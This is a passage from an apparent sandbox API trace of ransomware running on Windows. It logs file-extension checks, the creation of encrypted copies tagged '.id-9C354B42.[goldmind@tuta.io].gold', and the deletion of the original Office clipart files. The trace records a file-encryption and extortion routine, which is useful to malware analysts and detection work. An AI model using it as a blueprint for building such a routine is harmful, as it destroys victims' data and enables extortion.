hFile=0x380, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1526, lpOverlapped=0x0) returned 1 [0099.610] WriteFile (in: hFile=0x3ac, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1530, lpOverlapped=0x0) returned 1 [0099.611] ReadFile (in: hFile=0x380, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0099.611] WriteFile (in: hFile=0x3ac, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0099.611] SetEndOfFile (hFile=0x3ac) returned 1 [0099.611] CloseHandle (hObject=0x3ac) returned 1 [0099.611] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.611] SetEndOfFile (hFile=0x380) returned 1 [0099.613] CloseHandle (hObject=0x380) returned 1 [0099.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.613] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf")) returned 1 [0099.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0099.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0099.614] lstrlenW (lpString=".doc") returned 4 [0099.614] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.614] lstrlenW (lpString=".docx") returned 5 [0099.614] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.614] lstrlenW (lpString=".pdf") returned 4 [0099.614] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.614] lstrlenW (lpString=".xls") returned 4 [0099.614] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.614] lstrlenW (lpString=".xlsx") returned 5 [0099.614] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.614] lstrlenW (lpString=".ppt") returned 4 [0099.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0099.614] lstrlenW (lpString=".zip") returned 4 [0099.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.614] lstrlenW (lpString=".rar") returned 4 [0099.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.614] lstrlenW (lpString=".bz2") returned 4 [0099.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.614] lstrlenW (lpString=".7z") returned 3 [0099.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0099.614] lstrlenW (lpString=".dbf") returned 4 [0099.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0099.614] lstrlenW (lpString=".1cd") returned 4 [0099.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0099.614] lstrlenW (lpString=".jpg") returned 4 [0099.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0099.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0099.614] lstrlenW (lpString=".doc") returned 4 [0099.614] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.614] lstrlenW (lpString=".docx") returned 5 [0099.614] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.614] lstrlenW (lpString=".pdf") returned 4 [0099.614] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.614] lstrlenW (lpString=".xls") returned 4 [0099.614] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.614] lstrlenW (lpString=".xlsx") returned 5 [0099.614] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.614] lstrlenW (lpString=".ppt") returned 4 [0099.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0099.614] lstrlenW (lpString=".zip") returned 4 [0099.615] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.615] lstrlenW (lpString=".rar") returned 4 [0099.615] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.615] lstrlenW (lpString=".bz2") returned 4 [0099.615] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.615] lstrlenW (lpString=".7z") returned 3 [0099.615] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0099.615] lstrlenW (lpString=".dbf") returned 4 [0099.615] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0099.615] lstrlenW (lpString=".1cd") returned 4 [0099.615] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0099.615] lstrlenW (lpString=".jpg") returned 4 [0099.615] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.615] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0099.615] lstrlenW (lpString="HM00114_.WMF") returned 12 [0099.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0099.621] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=22116) returned 1 [0099.621] CloseHandle (hObject=0x198) returned 1 [0099.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf")) returned 0x20 [0099.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0099.638] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.638] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0099.639] GetLastError () returned 0x0 [0099.639] ReadFile (in: hFile=0x380, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x5664, lpOverlapped=0x0) returned 1 [0099.647] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x5670, lpOverlapped=0x0) returned 1 [0099.648] ReadFile (in: hFile=0x380, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0099.648] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0099.648] SetEndOfFile (hFile=0x198) returned 1 [0099.649] CloseHandle (hObject=0x198) returned 1 [0099.649] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.649] SetEndOfFile (hFile=0x380) returned 1 [0099.651] CloseHandle (hObject=0x380) returned 1 [0099.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf")) returned 1 [0099.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0099.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0099.652] lstrlenW (lpString=".doc") returned 4 [0099.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.652] lstrlenW (lpString=".docx") returned 5 [0099.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.652] lstrlenW (lpString=".pdf") returned 4 [0099.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.652] lstrlenW (lpString=".xls") returned 4 [0099.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.652] lstrlenW (lpString=".xlsx") returned 5 [0099.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.652] lstrlenW (lpString=".ppt") returned 4 [0099.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0099.652] lstrlenW (lpString=".zip") returned 4 [0099.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.652] lstrlenW (lpString=".rar") returned 4 [0099.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.652] lstrlenW (lpString=".bz2") returned 4 [0099.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.652] lstrlenW (lpString=".7z") returned 3 [0099.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0099.652] lstrlenW (lpString=".dbf") returned 4 [0099.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0099.652] lstrlenW (lpString=".1cd") returned 4 [0099.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0099.653] lstrlenW (lpString=".jpg") returned 4 [0099.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0099.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0099.653] lstrlenW (lpString=".doc") returned 4 [0099.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.653] lstrlenW (lpString=".docx") returned 5 [0099.653] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.653] lstrlenW (lpString=".pdf") returned 4 [0099.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.653] lstrlenW (lpString=".xls") returned 4 [0099.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.653] lstrlenW (lpString=".xlsx") returned 5 [0099.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.653] lstrlenW (lpString=".ppt") returned 4 [0099.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0099.653] lstrlenW (lpString=".zip") returned 4 [0099.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.653] lstrlenW (lpString=".rar") returned 4 [0099.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.653] lstrlenW (lpString=".bz2") returned 4 [0099.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.653] lstrlenW (lpString=".7z") returned 3 [0099.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0099.653] lstrlenW (lpString=".dbf") returned 4 [0099.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0099.653] lstrlenW (lpString=".1cd") returned 4 [0099.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0099.653] lstrlenW (lpString=".jpg") returned 4 [0099.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.653] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0099.653] lstrlenW (lpString="HM00116_.WMF") returned 12 [0099.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0099.654] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=15852) returned 1 [0099.654] CloseHandle (hObject=0x380) returned 1 [0099.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf")) returned 0x20 [0099.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0099.654] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.654] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0099.655] GetLastError () returned 0x0 [0099.655] ReadFile (in: hFile=0x380, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x3dec, lpOverlapped=0x0) returned 1 [0099.656] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x3df0, lpOverlapped=0x0) returned 1 [0099.657] ReadFile (in: hFile=0x380, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0099.658] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0099.658] SetEndOfFile (hFile=0x198) returned 1 [0099.658] CloseHandle (hObject=0x198) returned 1 [0099.658] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.658] SetEndOfFile (hFile=0x380) returned 1 [0099.665] CloseHandle (hObject=0x380) returned 1 [0099.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf")) returned 1 [0099.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0099.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0099.666] lstrlenW (lpString=".doc") returned 4 [0099.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.666] lstrlenW (lpString=".docx") returned 5 [0099.666] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.666] lstrlenW (lpString=".pdf") returned 4 [0099.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.666] lstrlenW (lpString=".xls") returned 4 [0099.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.666] lstrlenW (lpString=".xlsx") returned 5 [0099.666] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.666] lstrlenW (lpString=".ppt") returned 4 [0099.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0099.666] lstrlenW (lpString=".zip") returned 4 [0099.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.666] lstrlenW (lpString=".rar") returned 4 [0099.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.666] lstrlenW (lpString=".bz2") returned 4 [0099.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.666] lstrlenW (lpString=".7z") returned 3 [0099.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0099.666] lstrlenW (lpString=".dbf") returned 4 [0099.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0099.667] lstrlenW (lpString=".1cd") returned 4 [0099.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0099.667] lstrlenW (lpString=".jpg") returned 4 [0099.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0099.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0099.667] lstrlenW (lpString=".doc") returned 4 [0099.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.667] lstrlenW (lpString=".docx") returned 5 [0099.667] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.667] lstrlenW (lpString=".pdf") returned 4 [0099.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.667] lstrlenW (lpString=".xls") returned 4 [0099.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.667] lstrlenW (lpString=".xlsx") returned 5 [0099.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.667] lstrlenW (lpString=".ppt") returned 4 [0099.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0099.667] lstrlenW (lpString=".zip") returned 4 [0099.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.667] lstrlenW (lpString=".rar") returned 4 [0099.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.667] lstrlenW (lpString=".bz2") returned 4 [0099.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.667] lstrlenW (lpString=".7z") returned 3 [0099.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0099.667] lstrlenW (lpString=".dbf") returned 4 [0099.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0099.667] lstrlenW (lpString=".1cd") returned 4 [0099.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0099.667] lstrlenW (lpString=".jpg") returned 4 [0099.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.667] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0099.667] lstrlenW (lpString="HM00172_.WMF") returned 12 [0099.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0099.668] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=2832) returned 1 [0099.668] CloseHandle (hObject=0x380) returned 1 [0099.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf")) returned 0x20 [0099.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0099.668] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.668] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0099.669] GetLastError () returned 0x0 [0099.669] ReadFile (in: hFile=0x380, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xb10, lpOverlapped=0x0) returned 1 [0099.670] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xb20, lpOverlapped=0x0) returned 1 [0099.671] ReadFile (in: hFile=0x380, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0099.671] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, 